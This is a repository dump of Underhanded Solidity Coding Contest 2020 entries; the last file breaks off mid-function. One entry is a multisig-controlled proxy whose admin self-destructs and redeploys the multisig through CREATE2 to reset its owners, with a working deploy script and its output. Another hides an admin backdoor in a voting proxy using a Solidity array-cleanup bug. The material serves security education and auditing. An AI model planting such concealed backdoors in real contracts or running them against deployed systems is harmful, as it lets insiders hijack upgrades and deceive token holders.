Proposal storage proposal = _proposals[proposalId];\n        require(!proposal.ballots[msg.sender], \"you have already voted\");\n\n        proposal.ballots[msg.sender] = true;\n        proposal.votes++;\n\n        // Execute a proposal once it has enough votes (half, rounded up)\n        if (proposal.votes >= ((_ownerCount + 1) / 2)) {\n            if (proposal.proposalType == ProposalType.NewOwner) {\n                require(!_owners[proposal.value], \"owner is already an owner\");\n                _owners[proposal.value] = true;\n                _ownerCount++;\n                emit AddedOwner(proposal.value);\n            } else if (proposal.proposalType == ProposalType.NewTargetAddress) {\n                // The upgrade must still be called afterwards to commit the upgrade\n                _targetAddress = Proxyable(proposal.value);\n            }\n\n            // Mark this proposal complete\n            proposal.proposalType = ProposalType.Complete;\n        }\n    }\n\n    // Any owner may call this to destroy this contract, rendering the\n    // upgradable contract no-longer-upgradable; this is the desirable\n    // long-term plan which is unstoppable if any owner thinks it's time.\n    function relinquish() public {\n        require(_owners[msg.sender], \"only an owner may permanently deactivate upgrades\");\n        emit Relinquished(msg.sender);\n        selfdestruct(address(0));\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission8_RichardMoore/README.md",
    "content": "Underhanded Solidity Coding Contest - 2020\n==========================================\n\nWelcome to my 2020 submission to the USCC. Thanks for dropping by.\n\nThe Plot\n--------\n\nThe every classic multisig scheme for managing trust is being\nused to secure some important contract which is effectively\njust a proxy contract.\n\nThe proxy contract can be updated by deploying new code and\nusing the multisig to configure the new target, finally calling\nupgrade on the proxy to update the target. Whenever the proxy\nis called, it simply forwards its calls to the target.\n\nThe goal is to one day migrate away from this trust entirely, so\nany admin of the multisig can decide it is time and self-destruct\nit at which point the proxy can no longer be updated and the\ncurrent contract will remain intact until the end of time.\n\nThe multisig is safe and the proxy contract is safe (any bugs in\nthem are unrelated to this hack). So as expected, the auditors\napprove the code.\n\nThe proxy contract also validates the multisig code via its codehash\non deployment and any attempt to update the proxy's target.\n\nAll seems well. (Except to anyone who knows  of my passion for create2)\n\nThe Betrayal\n------------\n\nAye, the rub comes down to the method of deploying the multisig.\n\nBy employing CREATE2 through [rooted](https://github.com/ricmoo/lurch/tree/master/rooted)\na contract can be redployed to the same address, with optionally different\ncode (in this case I reuse the same code so the codehash matches) and with\nits state reset.\n\nThis state reset is what this hack enploys to hijack the multisig.\nBy resetting the state, the additional owners that were added to\nfascilitate the trust were removed. Also, the target was able to be\nupdated directly on its redployment.\n\nAny contract which can self-destruct must be carefully studied for\nits deployment, not just its code. Even if a contract was deployed\nby CREATE, if that CREATE was created by a CREATE2 it is still at risk\nIf CREATE2 occurs anywhere in the create chain, pay attention to the\nwhole kit and caboodle.\n\nI am a huge proponent of this sort of upgradability (obviously), but\nI want tooling to be able to better expose this. :)\n\nTesting\n-------\n\nTo test, please deploy [Rooted](https://github.com/ricmoo/lurch/tree/master/rooted)\nto your dev node and update the address at the top of the `deploy.js`\nto point to it. I've included the output from running `deploy.js` for\neveryone's convenience.\n\n```\n/home/ricmoo/uscc-2020> node deploy.js \nYou (the untrustworth admin):\n  0x24a49f967589652390c2b12189E09b3AFeF6c3D3\nContracts: \n  MyLittleProxyMultisig\n  DangerousProxyable\n  MyLittleProxyUpgradableContract\n  SafeProxyable\nSafe Target deployed to:\n  0xb8CE613F7F30885BdB64fa5ebf0cD47A87Ab903f\nMultisig deployed to:\n  0x7b667222416ddf526b62b4b7b293825e5a7f6b86\nAdded (trusted) owner to Multisig:\n  0x0123456789012345678901234567890123456789\nMultisig Owners (based on events):\n  0x24a49f967589652390c2b12189E09b3AFeF6c3D3\n  0x0123456789012345678901234567890123456789\nMultisig codehash: \n  0xbcf9f099eb94a9145020c259a33f13e525711034da4034cde03868f6c19ef98a\nContract (controlled by the multisig) deployed to:\n  0xf51D92Ac523128321Dc45514BdaBF05238fF1ec2\nMessage from calling the contract:\n  \"Free hugs! (the good guys)\"\n======== Hack begins ========\nDangerous Target deployed to:\n  0x1D031B85508299D786a100f4d00270C1Cf5A81e9\nMultisig code: \n  0x\n  Note: The multisig is now dead; theoretically upgrades are disabled\nMultisig re-deployed to:\n  0x7b667222416ddf526b62b4b7b293825e5a7f6b86 (same address, same codehash, new state)\nMessage from calling the contract:\n  \"Exterminate! Exterminate! (the bad guys)\"\n```\n\nNotes\n-----\n\nGoogle does not allow sending JavaScript by e-mail so, the deploy.js\nfile has been renamed to a txt file for the purpose of submitting to\nUSCC, but once finalized on GitHub the filename will be fixed.\n\nFurther Reading\n---------------\n\n- [Contract Upgrade Wizardry: Rooted](https://blog.ricmoo.com/contract-upgrade-wizardry-rooted-cd5c6726132b)\n- [Wisps: The Magical World of Create2](https://blog.ricmoo.com/wisps-the-magical-world-of-create2-5c2177027604)\n- [Lurch on GitHub](https://github.com/ricmoo/lurch)\n\nLicense\n-------\n\nMIT License.\n"
  },
  {
    "path": "2020/submissions_2020/submission8_RichardMoore/Upgradable.sol",
    "content": "\ninterface ProxyMultisig {\n    function getTargetAddress() external returns (Proxyable);\n}\n\n\ninterface Proxyable {\n    function doPublicSomething() external view returns (string memory);\n}\n\ncontract SafeProxyable is Proxyable {\n    function doPublicSomething() override external view returns (string memory) {\n       return \"Free hugs! (the good guys)\";\n    }\n}\n\ncontract DangerousProxyable is Proxyable {\n    function doPublicSomething() override external view returns (string memory) {\n       return \"Exterminate! Exterminate! (the bad guys)\";\n    }\n}\n\n\ncontract MyLittleProxyUpgradableContract {\n\n    // @TODO: It would be nice if there was a simple way to get\n    //        this from within Solidity. Is there?\n    bytes32 constant MultisigHash = 0xbcf9f099eb94a9145020c259a33f13e525711034da4034cde03868f6c19ef98a;\n\n    ProxyMultisig _owner;\n    Proxyable _target;\n\n    event Debug(bytes32 codehash);\n\n    constructor(ProxyMultisig owner) {\n\n        // Make sure we are an official multisig contract with EXACTLY our\n        // bells and whistles, with nothing *underhanded* going on. ;)\n        require(extcodehash(address(owner)) == MultisigHash, \"unsupported multisig\");\n\n        // Set the owner and target for our proxy\n        _owner = owner;\n        _target = _owner.getTargetAddress();\n\n        // For debugging, to get the codehash of the multisig;\n        // could be part of the build/deploy process...\n        emit Debug(extcodehash(address(_owner)));\n    }\n\n    // Really want access to the codehash\n    function extcodehash(address addr) public view returns (bytes32 codeHash) {\n        assembly { codeHash := extcodehash(addr) }\n    }\n\n    // Execute an upgrade\n    // Anyone can call this. If there was no change in the multisig, this\n    // will remain unchanged\n    function upgrade() public returns (address newTarget) {\n        // Make sure the contract was not self-destructed;\n        require(extcodehash(address(_owner)) == MultisigHash, \"multisig destroyed; no longer upgradable\");\n\n        // Upgrade to the new target\n        _target = Proxyable(_owner.getTargetAddress());\n    }\n\n    // Here is a proxied function that anyone can call; there would\n    // be many of these (or a single fallback that dispatches, but\n    // for this contest, this is simpler)\n    function doPublicSomething() external view returns (string memory) {\n        return _target.doPublicSomething();\n    }\n\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission8_RichardMoore/deploy.txt",
    "content": "const fs = require(\"fs\");\n\nconst { solc } = require(\"@ethersproject/cli\");\nconst { ethers } = require(\"ethers\");\n\n// I use Lurch to make this hack easier to perform, but you\n// could use create2 directly\nconst Lurch = \"0x166a6e9b33AD1d7BcC1cf8ac3A6b9E85e8a11828\";\n\n(async function() {\n    // Connect to a dev network (we amp up the polling interval to speed things up)\n    const provider = ethers.getDefaultProvider(\"http://localhost:8545\");\n    provider.pollingInterval = 500;\n\n    // Create a new account to be the attacker\n    const signer = ethers.Wallet.createRandom().connect(provider);\n\n    console.log(`You (the untrustworth admin):\\n  ${ signer.address }`);\n\n    // Fund the new account\n    {\n        const tx = await provider.getSigner().sendTransaction({\n            to: signer.address,\n            value: ethers.utils.parseEther(\"1.0\")\n        });\n        await tx.wait();\n    }\n\n    // Compile all our sources\n    const codes = { };\n    [\"./Multisig.sol\", \"./Upgradable.sol\"].forEach((filename) => {\n        try {\n            solc.compile(fs.readFileSync(filename).toString(), {\n                optimize: true\n            }).forEach((code) => {\n                codes[code.name] = code;\n            });\n        } catch (error) {\n            console.log(\"ERROR\", error);\n            error.errors.forEach((e) => { console.log(e); });\n            throw error;\n        }\n    });\n    console.log(`Contracts: \\n  ${ Object.keys(codes).join(\"\\n  \") }`);\n\n    // Deploy the safe proxy target\n    let safeTarget = null;\n    {\n        const code = codes.SafeProxyable;\n        const factory = new ethers.ContractFactory(code.interface, code.bytecode, signer);\n        safeTarget = await factory.deploy();\n        await safeTarget.deployTransaction.wait();\n    }\n    console.log(`Safe Target deployed to:\\n  ${ safeTarget.address }`);\n\n    // Deploy the multisig (notice we use rooted)\n    // See: https://blog.ricmoo.com/contract-upgrade-wizardry-rooted-cd5c6726132b\n    let multisig = null;\n    {\n        const code = codes.MyLittleProxyMultisig;\n        const factory = new ethers.ContractFactory(code.interface, code.bytecode, signer);\n\n        // Normally, we would use this:\n        //multisig = factory.deploy(safeTarget.address);\n\n        // We deploy using rooted (deployed using its deploy script)\n        const tx = factory.getDeployTransaction(safeTarget.address);\n        tx.to = Lurch;\n        const txSent = await signer.sendTransaction(tx);\n        const receipt = await txSent.wait();\n        multisig = new ethers.Contract(ethers.utils.hexDataSlice(receipt.logs[1].data, 12), code.interface, signer);\n    }\n    console.log(`Multisig deployed to:\\n  ${ multisig.address}`);\n\n    // This would be a trusted party, who people could assume once\n    // added, you can do no harm and that party *believes* themselves\n    // to have control over any upgrade process via the multisig\n    const trustedAdmin = \"0x0123456789012345678901234567890123456789\";\n\n    // Add the trusted admin\n    {\n        const txPropose = await multisig.addProposal(1, trustedAdmin);\n        const receiptPropose = await txPropose.wait();\n        const txVote = await multisig.voteProposal(receiptPropose.events[0].args.proposalId);\n        const receiptVote = await txVote.wait();\n        console.log(`Added (trusted) owner to Multisig:\\n  ${ trustedAdmin }`);\n    }\n\n    // Verify the owners\n    {\n        console.log(\"Multisig Owners (based on events):\");\n        (await multisig.queryFilter(multisig.filters.AddedOwner())).forEach((event) => {\n            console.log(\"  \" + event.args.owner);\n        });\n    }\n\n    // Deploy the upgradable contract\n    let contract = null;\n    {\n        const code = codes.MyLittleProxyUpgradableContract;\n        const factory = new ethers.ContractFactory(code.interface, code.bytecode, signer);\n        contract = await factory.deploy(multisig.address);\n        const receipt = await contract.deployTransaction.wait();\n        console.log(`Multisig codehash: \\n  ${ receipt.logs[0].data }`);\n    }\n    console.log(`Contract (controlled by the multisig) deployed to:\\n  ${ contract.address }`);\n\n    // Test calling the Proxy Contract\n    {\n        const value = await contract.doPublicSomething();\n        console.log(`Message from calling the contract:\\n  ${ JSON.stringify(value) }`);\n    }\n\n    console.log(\"======== Hack begins ========\");\n\n    // Everything seems fine! And with a trusted admin, the contract\n    // cannot be upgraded without agreement\n\n    ///////////////\n    // Begin the hack (continue? We already set up the multisig sneky-like)\n\n    // Deploy the dangerous proxy target\n    let dangerousTarget = null;\n    {\n        const code = codes.DangerousProxyable;\n        const factory = new ethers.ContractFactory(code.interface, code.bytecode, signer);\n        dangerousTarget = await factory.deploy();\n        await dangerousTarget.deployTransaction.wait();\n    }\n    console.log(`Dangerous Target deployed to:\\n  ${ dangerousTarget.address }`);\n\n    // Destroy the multisig; the idea was that any single owner\n    // could do this, so that anyone could force the contract\n    // to be un-upgradabvle, ever again...\n    {\n        const tx = await multisig.relinquish();\n        await tx.wait();\n        const code = await provider.getCode(multisig.address);\n        console.log(`Multisig code: \\n  ${ code }`);\n        if (code === \"0x\") {\n            console.log(\"  Note: The multisig is now dead; theoretically upgrades are disabled\");\n        }\n    }\n\n    // Re-deploy the multisig, resetting the owners and using the dangerous target\n    {\n        const code = codes.MyLittleProxyMultisig;\n        const factory = new ethers.ContractFactory(code.interface, code.bytecode, signer);\n\n        // We deploy (again) using rooted\n        const tx = factory.getDeployTransaction(dangerousTarget.address);\n        tx.to = Lurch;\n\n        const txSent = await signer.sendTransaction(tx);\n        const receipt = await txSent.wait();\n\n        // The multisig is still at same address, with the same code (and\n        // therefore codehash) but new state\n    }\n    console.log(`Multisig re-deployed to:\\n  ${ multisig.address } (same address, same codehash, new state)`);\n\n    // Force the contract to upgrade\n    {\n        const tx = await contract.upgrade();\n        await tx.wait();\n    }\n\n    // Test calling the Proxy Contract again...\n    {\n        const value = await contract.doPublicSomething();\n        console.log(`Message from calling the contract:\\n  ${ JSON.stringify(value) }`);\n    }\n\n})();\n"
  },
  {
    "path": "2020/submissions_2020/submission9_LuizSoares/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2018\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "2020/submissions_2020/submission9_LuizSoares/README.md",
    "content": "# Superior Proxy\n\nIt will exploit this bug:\nhttps://solidity.ethereum.org/2020/10/07/solidity-dynamic-array-cleanup-bug/\n\n## Details\n\nThis implementation exploits the bug above, since when gets resized down and then up the 3rd position is not initialized.  \n\nWe downloaded OpenZeppelin Proxy pattern implementation that was using solidity ^0.7.0 and reused the code. Here is the link: https://github.com/OpenZeppelin/openzeppelin-contracts/tree/v3.2.1-solc-0.7/contracts/proxy \n\nWe only made a small enhancement to code from OpenZeppelin. And we created 2 new files:\nSuperior.sol and SuperiorTransparentUpgradableProxy.sol our main simple contract is called PokeToken. It just increments a variable by 1 and it implements IERC20 interface that has only one function: `balanceOf` (it is always returning 10 for tests purposes).\n\nOpenzeppelin Proxy code is centralized. Only the admin can upgrade the proxy implementation at anytime. The improvement is adding a vote mechanism that will make it decentralized.\n\nTo be able to upgrade we added a democratic vote system, that allows an update after minimum # votes (1,000) posted. If you have a token in the ERC20 implementation, that allows you to vote. It doesn't matter how many tokens you are holding, you can only vote once. Of course you can split your tokens in a bunch of addresses, but that will force you to spend a lot of money in fees. We fixed a minimum value to 1,000 `YES` votes to be able to upgrade (1,000 is the minimum). Administrator can set the value > 1,000. But it should be at least 1,000. The voting period expires or gets cancelled after 7 days. The administrator can restart the process again. \n\nWhen it reaches 1,000 votes anyone can execute `upgradeTo` function. \n\nHere we are demonstrating the hidden back door which exploits the solidity bug. The adnminstrator deploys the smart contract on testnet using solc 0.7.3 and on mainnet solc 0.7.2. The hidden back door can be exploited on mainnet but not on the testnet.\n\nThe smart contract holds an array `voteDetails`. It holds 4 items at the time the smart contract is deployed, the last position holds the value of 1. It is used as an indicator for the `upgradeTo` function that it's the first deployment and the administrator is allowed to execute this function and doesn't need to check votes. After executing `upgradeTo` for the first time, `voteDetails` array is resized to 1, because we don't want anyone to upgrade this contract in the future. That is how the code detects that it was already deployed.\n\nAfter the initial deployment if we need to upgrade the implementation it can only be done after a voting process. BUT the administrator can by pass the voting process by exploiting the bug. Suppose the developer made a mistake and used 17 decimals instead of 18, now the tokens don't display as expected and upgrade is required. The first step to execute `setUpgradeTo` that will receive the address of the new implementation, and it will set the minimum required # of votes, and it will resize the array to length 3. The array holds the voting information. If the vote process goes as expected anyone can upgrade, but because of the bug (back door) the administrator can upgrade at any time. When the administrator calls `upgradeTo` it doesn't check the # 'Yes' votes, it checks if it's the first deployment because the administrator can execute this function when it's deployed the first time only. Since it's not the first deployment, the vote details array length is 3, and when you increase the size of the array by one, the original value which allows to execute the upgrade is exposed (it looks like it's the first deployment), and the administrator can proceed with the upgrade. \n\nWhat a Shame.\n\n\n\n"
  },
  {
    "path": "2020/submissions_2020/submission9_LuizSoares/contracts/Address.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n    /**\n     * @dev Returns true if `account` is a contract.\n     *\n     * [IMPORTANT]\n     * ====\n     * It is unsafe to assume that an address for which this function returns\n     * false is an externally-owned account (EOA) and not a contract.\n     *\n     * Among others, `isContract` will return false for the following\n     * types of addresses:\n     *\n     *  - an externally-owned account\n     *  - a contract in construction\n     *  - an address where a contract will be created\n     *  - an address where a contract lived, but was destroyed\n     * ====\n     */\n    function isContract(address account) internal view returns (bool) {\n        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts\n        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned\n        // for accounts without code, i.e. `keccak256('')`\n        bytes32 codehash;\n        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n        // solhint-disable-next-line no-inline-assembly\n        assembly { codehash := extcodehash(account) }\n        return (codehash != accountHash && codehash != 0x0);\n    }\n\n    /**\n     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n     * `recipient`, forwarding all available gas and reverting on errors.\n     *\n     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n     * of certain opcodes, possibly making contracts go over the 2300 gas limit\n     * imposed by `transfer`, making them unable to receive funds via\n     * `transfer`. {sendValue} removes this limitation.\n     *\n     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n     *\n     * IMPORTANT: because control is transferred to `recipient`, care must be\n     * taken to not create reentrancy vulnerabilities. Consider using\n     * {ReentrancyGuard} or the\n     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n     */\n    function sendValue(address payable recipient, uint256 amount) internal {\n        require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\n        (bool success, ) = recipient.call{ value: amount }(\"\");\n        require(success, \"Address: unable to send value, recipient may have reverted\");\n    }\n\n    /**\n     * @dev Performs a Solidity function call using a low level `call`. A\n     * plain`call` is an unsafe replacement for a function call: use this\n     * function instead.\n     *\n     * If `target` reverts with a revert reason, it is bubbled up by this\n     * function (like regular Solidity function calls).\n     *\n     * Returns the raw returned data. To convert to the expected return value,\n     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n     *\n     * Requirements:\n     *\n     * - `target` must be a contract.\n     * - calling `target` with `data` must not revert.\n     *\n     * _Available since v3.1._\n     */\n    function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n      return functionCall(target, data, \"Address: low-level call failed\");\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n     * `errorMessage` as a fallback revert reason when `target` reverts.\n     *\n     * _Available since v3.1._\n     */\n    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\n        return _functionCallWithValue(target, data, 0, errorMessage);\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n     * but also transferring `value` wei to `target`.\n     *\n     * Requirements:\n     *\n     * - the calling contract must have an ETH balance of at least `value`.\n     * - the called Solidity function must be `payable`.\n     *\n     * _Available since v3.1._\n     */\n    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n        return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n    }\n\n    /**\n     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n     * with `errorMessage` as a fallback revert reason when `target` reverts.\n     *\n     * _Available since v3.1._\n     */\n    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\n        require(address(this).balance >= value, \"Address: insufficient balance for call\");\n        return _functionCallWithValue(target, data, value, errorMessage);\n    }\n\n    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {\n        require(isContract(target), \"Address: call to non-contract\");\n\n        // solhint-disable-next-line avoid-low-level-calls\n        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);\n        if (success) {\n            return returndata;\n        } else {\n            // Look for revert reason and bubble it up if present\n            if (returndata.length > 0) {\n                // The easiest way to bubble the revert reason is using memory via assembly\n\n                // solhint-disable-next-line no-inline-assembly\n                assembly {\n                    let returndata_size := mload(returndata)\n                    revert(add(32, returndata), returndata_size)\n                }\n            } else {\n                revert(errorMessage);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission9_LuizSoares/contracts/Context.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\n/*\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with GSN meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n    function _msgSender() internal view virtual returns (address payable) {\n        return msg.sender;\n    }\n\n    function _msgData() internal view virtual returns (bytes memory) {\n        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\n        return msg.data;\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission9_LuizSoares/contracts/IERC20.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n    \n\n    /**\n     * @dev Returns the amount of tokens owned by `account`.\n     */\n    function balanceOf(address account) external view returns (uint256);\n\n}"
  },
  {
    "path": "2020/submissions_2020/submission9_LuizSoares/contracts/Ownable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"./Context.sol\";\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\ncontract Ownable is Context {\n    address private _owner;\n\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n    /**\n     * @dev Initializes the contract setting the deployer as the initial owner.\n     */\n    constructor () {\n        address msgSender = _msgSender();\n        _owner = msgSender;\n        emit OwnershipTransferred(address(0), msgSender);\n    }\n\n    /**\n     * @dev Returns the address of the current owner.\n     */\n    function owner() public view returns (address) {\n        return _owner;\n    }\n\n    /**\n     * @dev Throws if called by any account other than the owner.\n     */\n    modifier onlyOwner() {\n        require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n        _;\n    }\n\n    /**\n     * @dev Leaves the contract without owner. It will not be possible to call\n     * `onlyOwner` functions anymore. Can only be called by the current owner.\n     *\n     * NOTE: Renouncing ownership will leave the contract without an owner,\n     * thereby removing any functionality that is only available to the owner.\n     */\n    function renounceOwnership() public virtual onlyOwner {\n        emit OwnershipTransferred(_owner, address(0));\n        _owner = address(0);\n    }\n\n    /**\n     * @dev Transfers ownership of the contract to a new account (`newOwner`).\n     * Can only be called by the current owner.\n     */\n    function transferOwnership(address newOwner) public virtual onlyOwner {\n        require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n        emit OwnershipTransferred(_owner, newOwner);\n        _owner = newOwner;\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission9_LuizSoares/contracts/PokeToken.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.7.0;\n\nimport \"./IERC20.sol\";\n\ncontract PokeToken  is IERC20 {\n    uint public poke;\n\n    mapping (address => uint256) private _balances;\n    \n    function balanceOf(address account) external view override returns (uint256){\n        //return _balances[account];\n        return 10;\n    }\n\n    function increasePoke() payable external virtual  {\n        poke++;\n        poke++;\n        poke++;\n        poke++;\n    }\n\n    function getPoke() external view returns(uint){\n        return poke;\n    }\n    \n    receive () payable external {\n        //do nothing\n    }\n    \n    fallback () payable external{\n        //do nothing\n    }\n    \n    function getBalance() external view returns(uint){\n        return address(this).balance;\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission9_LuizSoares/contracts/PokeTokenV2.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.7.0;\n\nimport \"./IERC20.sol\";\n\ncontract PokeTokenV2  is IERC20 {\n    uint public poke;\n\n    mapping (address => uint256) private _balances;\n    \n    function balanceOf(address account) external view override returns (uint256){\n        //return _balances[account];\n        return 10;\n    }\n\n    function increasePoke() payable external virtual  {\n        poke++;    \n    }\n\n    function getPoke() external view returns(uint){\n        return poke;\n    }\n    \n    receive () payable external {\n        //do nothing\n    }\n    \n    fallback () payable external{\n        //do nothing\n    }\n    \n    function getBalance() external view returns(uint){\n        return address(this).balance;\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission9_LuizSoares/contracts/Proxy.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n * \n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n * \n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n    /**\n     * @dev Delegates the current call to `implementation`.\n     * \n     * This function does not return to its internall call site, it will return directly to the external caller.\n     */\n    function _delegate(address implementation) internal {\n        // solhint-disable-next-line no-inline-assembly\n        assembly {\n            // Copy msg.data. We take full control of memory in this inline assembly\n            // block because it will not return to Solidity code. We overwrite the\n            // Solidity scratch pad at memory position 0.\n            calldatacopy(0, 0, calldatasize())\n\n            // Call the implementation.\n            // out and outsize are 0 because we don't know the size yet.\n            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n            // Copy the returned data.\n            returndatacopy(0, 0, returndatasize())\n\n            switch result\n            // delegatecall returns 0 on error.\n            case 0 { revert(0, returndatasize()) }\n            default { return(0, returndatasize()) }\n        }\n    }\n\n    /**\n     * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function\n     * and {_fallback} should delegate.\n     */\n    function _implementation() internal virtual view returns (address);\n\n    /**\n     * @dev Delegates the current call to the address returned by `_implementation()`.\n     * \n     * This function does not return to its internall call site, it will return directly to the external caller.\n     */\n    function _fallback() internal {\n        _beforeFallback();\n        _delegate(_implementation());\n    }\n\n    /**\n     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n     * function in the contract matches the call data.\n     */\n    fallback () payable external {\n        _fallback();\n    }\n\n    /**\n     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n     * is empty.\n     */\n    receive () payable external {\n        _fallback();\n    }\n\n    /**\n     * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n     * call, or as part of the Solidity `fallback` or `receive` functions.\n     * \n     * If overriden should call `super._beforeFallback()`.\n     */\n    function _beforeFallback() internal virtual {\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission9_LuizSoares/contracts/Superior.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.7.0;\n\nimport \"./IERC20.sol\";\n\ncontract Superior  {\n    \n    mapping(bytes32 => address) public hasVoted; //stores if address has already voted\n    \n    IERC20 public ERC20Token; //interface to be able to check if address has some tokens and can vote\n    \n    /*\n    * [time stamp,#min votes, time stamp of vote completion, owner address]\n    */\n    uint128[] public voteDetails;\n    \n    constructor() {\n        voteDetails.push(0); // # minimum votes\n        voteDetails.push(0); // # yes votes\n        voteDetails.push(uint128(block.timestamp)); // # timestamp - it will be used to cancel vote and to generate voteId\n        voteDetails.push(1); // first deploy\n    }\n\n    function _startSetUpgradeTo(uint128 _minYesVotes) internal  {\n        require(voteDetails.length == 1, \"Vote is already opened.\");\n        require(_minYesVotes > 1000, \"Minimum vote amount must be greater that 1000.\");\n        \n        voteDetails[0] = _minYesVotes; //  at least 1001\n        voteDetails.push(); // # yes votes - initial value is 0\n        voteDetails.push(uint128(block.timestamp)); // # timestamp - it will be used to create voteId\n    }\n    \n    function generateVoteId() public view returns (bytes32 result){\n        return keccak256(abi.encode(msg.sender, voteDetails[2]));\n    }\n    \n    function vote(bool yes) external {\n        require(voteDetails.length > 1, \"Vote is not opened.\");\n           \n        require(ERC20Token.balanceOf(msg.sender) > 0, \"User does not have tokens to vote\" );\n        \n        //check if user has already voted\n        bytes32 voteId = generateVoteId();\n        require(hasVoted[voteId] != msg.sender, \"User has already voted\");\n        \n        if(yes){\n            voteDetails[1] = voteDetails[1] + 1;\n        }\n        \n        hasVoted[voteId] = msg.sender;\n    }\n    \n    function _resetVoteDetails() internal {\n        uint128[] memory newVoteDetails = new uint128[](1);\n        voteDetails = newVoteDetails;\n    }\n    \n    //If after 7 days vote didn't end, vote process can be ended.\n    function cancelVote() external {\n        if(voteDetails[2] + 7 days < block.timestamp){\n            _resetVoteDetails();\n        }        \n    }\n\n    function _setERC20Token(address _logic) internal {\n        ERC20Token = IERC20(_logic);\n    }\n\n    //Check if vote is opened, if user is admin and can upgrade for the first time only\n    //and will return true if number of Yes votes are higher than a minimum value\n    function _checkUpgradeIsOk(bool 